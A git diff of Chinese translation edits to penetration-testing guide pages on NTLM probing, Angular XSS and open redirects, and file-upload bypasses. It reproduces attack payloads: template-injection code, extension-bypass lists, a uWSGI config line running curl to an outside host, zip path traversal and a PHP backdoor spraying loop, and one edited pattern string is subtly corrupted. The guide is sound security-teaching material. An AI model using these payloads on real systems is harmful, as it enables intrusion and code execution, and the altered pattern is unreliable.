-**发送**头部:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作方式**,服务器将响应内部信息(IIS版本,Windows版本...)在头部"WWW-Authenticate"中。\
-您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
+**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将响应内部信息(IIS版本,Windows版本...)在“WWW-Authenticate”头中。\
+您可以使用**nmap插件** "_http-ntlm-info.nse_" 来自动化此过程。
-**HTTP重定向 (CTF)**
+**HTTP重定向(CTF)**
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**(因为浏览器将执行重定向),但其中可能**隐藏**某些内容。
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 872bd4d75..1ff8a39b5 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -4,13 +4,13 @@
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
-* [ ] Angular被认为是一个客户端框架,不期望提供服务器端保护
+* [ ] Angular被视为客户端框架,不期望提供服务器端保护
* [ ] 项目配置中禁用了脚本的源映射
* [ ] 不可信的用户输入在用于模板之前始终被插值或清理
* [ ] 用户无法控制服务器端或客户端模板
* [ ] 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
* [ ] 不使用不可信输入的`BypassSecurity*`方法
-* [ ] 不可信的用户输入不会传递给Angular类,如`ElementRef`、`Renderer2`和`Document`,或其他JQuery/DOM接收器
+* [ ] 不可信的用户输入不传递给Angular类,如`ElementRef`、`Renderer2`和`Document`,或其他JQuery/DOM接收器
## What is Angular
@@ -41,11 +41,11 @@ my-workspace/
```
根据文档,每个 Angular 应用程序至少有一个组件,即根组件 (`AppComponent`),它将组件层次结构与 DOM 连接。每个组件定义一个包含应用程序数据和逻辑的类,并与定义要在目标环境中显示的视图的 HTML 模板相关联。`@Component()` 装饰器将其下方的类标识为组件,并提供模板和相关的组件特定元数据。`AppComponent` 在 `app.component.ts` 文件中定义。
-Angular NgModules 声明一个编译上下文,用于一组专门针对应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。
+Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。
-Angular `Router` NgModule 提供了一项服务,让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
+Angular `Router` NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
-对于不与特定视图相关联且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
+对于不与特定视图相关联的数据或逻辑,并且您希望在组件之间共享的,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
## Sourcemap 配置
@@ -60,7 +60,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
```
一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。
-此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件的末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
+此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
## 数据绑定
@@ -117,7 +117,7 @@ test = "test
";
* `STYLE` 在将 CSS 绑定到 `style` 属性时使用;
* `URL` 用于 URL 属性,例如 ``;
* `SCRIPT` 用于 JavaScript 代码;
-* `RESOURCE_URL` 作为加载并作为代码执行的 URL,例如,在 `test
";
#### 客户端渲染 (CSR)
-Angular 利用模板动态构建页面。该方法涉及将模板表达式放在双大括号内 (`{{}}`) 以供 Angular 评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
+Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 (`{{}}`) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
-通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、其属性和变量。因此,模板注入攻击可能如下所示:
+通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@@ -231,7 +231,7 @@ template: 'title
' + _userInput
#### 服务器端渲染 (SSR)
-与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。
+与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。SSR中的模板注入漏洞可以以与CSR相同的方式被发现,因为使用的模板语言是相同的。
当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。
@@ -292,9 +292,9 @@ document.body.appendChild(a);
```
#### Angular 类
-在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
+在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
-* `ElementRef` 包含属性 `nativeElement`,可以用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
+* `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
```tsx
//app.component.ts
@@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
-* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 `Renderer2`,可以通过 `setAttribute()` 方法在 HTML 元素上设置属性,但该方法没有 XSS 预防机制。
+* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 `Renderer2`,可以使用 `setAttribute()` 方法在 HTML 元素上设置属性,该方法没有 XSS 预防机制。
```tsx
//app.component.ts
@@ -371,7 +371,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '
Click me!
```
-在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。
+在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。
#### jQuery
@@ -410,7 +410,7 @@ $("p").html("");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
-如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会在解析的 HTML 中运行脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `
` 属性。
+如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会运行解析 HTML 中的脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `
` 属性。
```tsx
//app.component.ts
@@ -450,7 +450,7 @@ $palias.append(html);
* `window.location.href`(和 `document.location.href`)
-获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。
+获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制此对象使我们能够利用开放重定向漏洞。
```tsx
//app.component.ts
@@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
以下场景的利用过程是相同的。
* `window.location.assign()`(和 `document.location.assign()`)
-该方法使窗口加载并显示指定 URL 的文档。如果我们控制该方法,它可能是开放重定向攻击的一个入口。
+此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能是开放重定向攻击的一个入口。
```tsx
//app.component.ts
@@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(和 `document.location.replace()`)
-该方法用提供的 URL 替换当前资源。
+此方法用提供的 URL 替换当前资源。
-与 `assign()` 方法的不同之处在于,使用 `window.location.replace()` 后,当前页面不会保存在会话历史中。然而,当我们控制该方法时,也可以利用开放重定向漏洞。
+与 `assign()` 方法的不同之处在于,使用 `window.location.replace()` 后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,也可以利用开放重定向漏洞。
```tsx
//app.component.ts
@@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
-`window.open()` 方法接受一个 URL,并将其识别的资源加载到新标签或窗口中。控制该方法也可能是触发 XSS 或开放重定向漏洞的机会。
+`window.open()` 方法接受一个 URL,并将其识别的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。
```tsx
//app.component.ts
@@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular 类
-* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功的开放重定向攻击的入口,如下例所示:
+* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功开放重定向攻击的入口,如下例所示:
```tsx
//app.component.ts
@@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
```
-* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效的向量。`Location` 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行外部域的重定向。例如:
+* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效向量。`Location` 是一个 Angular 服务,应用程序可以用来与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行重定向到外部域。例如:
```tsx
//app.component.ts
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index 865e5aa21..c53488b19 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -4,7 +4,7 @@
## 什么是 Firebase
-Firebase 是一种主要用于移动应用的后端即服务。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
+Firebase 是一种主要用于移动应用的后端即服务(Backend-as-a-Service)。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
了解更多关于 Firebase 的信息:
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 890ffe6b3..1c5e8fb51 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -21,7 +21,7 @@
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
- _file.png.php_
- _file.png.Php5_
-3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
+3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@@ -43,15 +43,15 @@
5. 在之前的检查中添加**另一层扩展名**:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
-6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php结尾**将执行代码):
-- _例如: file.php.png_
-7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
+6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
+- _例如:file.php.png_
+7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
```
# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -61,8 +61,8 @@ AAA<--SNIP 232 A-->AAA.php.png
### 绕过内容类型、魔术数字、压缩和调整大小
-- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查
-1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
+1. Content-Type **字典**:[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
`exiftool -Comment="AAA.php.png
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
- 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露**:
-1. **多次**(并且在**同一时间**)上传**同一文件**,并使用**相同的名称**
-2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
-3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
+1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
+2. 上传一个**已经存在**的**文件**或**文件夹**的**名称**的文件
+3. 上传一个**“.”、 “..”或“...”作为其名称**的文件。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
-5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`。(Windows)
-6. 在**Windows**中上传一个文件,使用**保留**(**禁止**)**名称**,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
-- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
+5. 在**Windows**中上传一个带有**无效字符**的文件,例如`|<>*?”`作为其名称。(Windows)
+6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
+- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当被受害者意外打开时**将执行代码**。
### 特殊扩展名技巧
-如果你尝试将文件上传到**PHP服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
-如果你尝试将文件上传到**ASP服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
+如果你尝试将文件上传到**PHP服务器**,[查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
+如果你尝试将文件上传到**ASP服务器**,[查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
-`.phar`文件类似于Java的`.jar`,但用于PHP,并且可以**像PHP文件一样使用**(通过PHP执行或在脚本中包含它...)
+`.phar`文件类似于Java的`.jar`,但用于PHP,可以**像PHP文件一样使用**(用PHP执行或在脚本中包含它...)
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
## **Jetty RCE**
-如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
+如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。**因此,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
.png>)
@@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
+有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
-**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
+在 **linux** 中,**文件名**的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
-注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
+注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
## 工具
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
## 从文件上传到其他漏洞
@@ -172,15 +172,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE在svg上传中**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
-- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
+- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL,并**窃取每个访问者的信息**。
+- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制**
-以下是通过上传可以实现的前10件事(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+以下是您可以通过上传实现的前10个事项(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webshell / RCE
2. **SVG**:存储的XSS / SSRF / XXE
@@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹中解压
-在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
+在解压过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
```python
@@ -249,9 +249,9 @@ zip.close()
create_zip()
```
-**利用压缩进行文件喷洒**
+**滥用压缩进行文件喷洒**
-有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+有关更多详细信息,请**查看原始帖子**:[https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **创建 PHP Shell**:编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
@@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
